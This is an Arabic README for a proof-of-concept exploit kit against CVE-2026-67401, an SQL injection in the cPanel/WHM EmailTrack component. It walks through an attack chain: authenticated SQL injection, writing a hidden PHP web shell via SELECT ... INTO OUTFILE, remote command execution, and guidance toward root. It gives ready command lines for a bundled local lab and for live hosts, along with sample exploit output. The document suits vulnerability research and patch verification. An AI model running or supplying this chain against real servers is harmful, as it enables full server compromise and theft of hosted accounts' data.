
إثبات مفهوم وسلسلة استغلال لـ CVE-2026-67401، وهو حقن SQL في EmailTrack ضمن cPanel/WHM يتيح الكتابة على ملفات عشوائية وتنفيذ أوامر عن بُعد بصلاحيات الجذر (root RCE)، مع كشف حقن SQL ومختبر محلي.
إثبات مفهوم (Proof-of-concept) لـ CVE-2026-67401، وهي ثغرة حقن SQL حرجة في وظيفة EmailTrack في cPanel & WHM تتيح لمستخدم مُصادَق عليه يمتلك صلاحيات متعلقة بالبريد كتابة ملفات عشوائية وتنفيذ تعليمات برمجية بصلاحيات الجذر (root).
اكتُشفت بواسطة: HiTechCloud VietNam by Pho Tue SoftWare Solutions JSC أُعلن عنها: 6 أكتوبر 2026 المكوّن: EmailTrack (تسجيل / تتبّع تسليم البريد)
الإصدارات الأدنى من البُنى المُصلحة عرضة للثغرة.
| سلسلة إصدارات cPanel | الإصدار المُصلح |
|---|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
تحقّق من إصدارك باستخدام:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account في EmailTrack.SELECT ... INTO OUTFILE داخل public_html/.| الملف | الوصف |
|---|---|
poc_sqli.py | كشف حقن SQL: القائم على القيم المنطقية، والقائم على الوقت، وعدّ أعمدة UNION |
poc_full_chain.py | سلسلة الاستغلال الكاملة: SQLi → web shell عبر INTO OUTFILE → RCE → إرشادات الوصول إلى root |
lab/vuln_server.py | محاكاة محلية لخادم EmailTrack الخلفي المصاب (آمنة ومكتفية ذاتيًا) |
README.md | هذا المستند |
يتيح لك المختبر المرفق تشغيل والتحقق من السلسلة بأكملها دون الحاجة إلى خادم cPanel حقيقي.
تُنفَّذ جميع الأوامر من جذر المستودع.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP()،
وINTO OUTFILE، وتنفيذ web-shell بلغة PHP.18123)lab/htdocs)اترك هذا قيد التشغيل في طرفية واحدة واستخدم طرفية ثانية لتنفيذ PoCs.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| المعامل | الوصف |
|---|---|
-H, --host | مضيف cPanel، مثل https://cp.example.com:2083 |
-u, --username | حساب cPanel مع صلاحيات البريد |
-p, --password | كلمة مرور الحساب |
--param | المعامل القابل للحقن (الافتراضي: account) |
--mode | detect (الافتراضي)، boolean، timing، union، أو all |
--sleep | مدة SLEEP() لفحص التوقيت (الافتراضي: 3.0) |
--dump-version | محاولة استخراج إصدار DBMS عبر UNION |
--insecure | تخطي التحقق من شهادة TLS |
تشغيل فحص محدد:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| المعامل / متغير البيئة | الوصف |
|---|---|
host (موضعي) | مضيف cPanel، أو عيّن متغير البيئة CPANEL_HOST |
CPANEL_USER | حساب cPanel ذو صلاحيات البريد |
CPANEL_PASS | كلمة مرور الحساب |
--shell-base | عنوان URL الأساسي الذي يخدم public_html (حيث يتم الوصول إلى web shell) |
--insecure | تخطي التحقق من شهادة TLS |
--no-escalate | التوقف بعد RCE؛ تخطي إرشادات التصعيد إلى root |
SHELL_NAME (متغير بيئة) | اسم ملف web shell (الافتراضي: .mail.cache.php) |
المراحل التي تُنفَّذ تلقائيًا:
SELECT ... INTO OUTFILEid، whoami، تعداد SUID، …)whmapi1، cron، قائمة المهام)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
ملاحظة: القيمة الافتراضية لـ
--shell-baseتُزيل منفذ cPanel فقط (2082/2083) من المضيف. إذا كان جذر المستند يُقدَّم على منفذ مختلف، فاضبطه صراحةً.
المخرجات الناتجة مقابل المختبر المُضمَّن:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
صدر لأغراض تعليمية وأغراض البحث الأمني المصرّح به. راجع إخلاء المسؤولية قبل الاستخدام.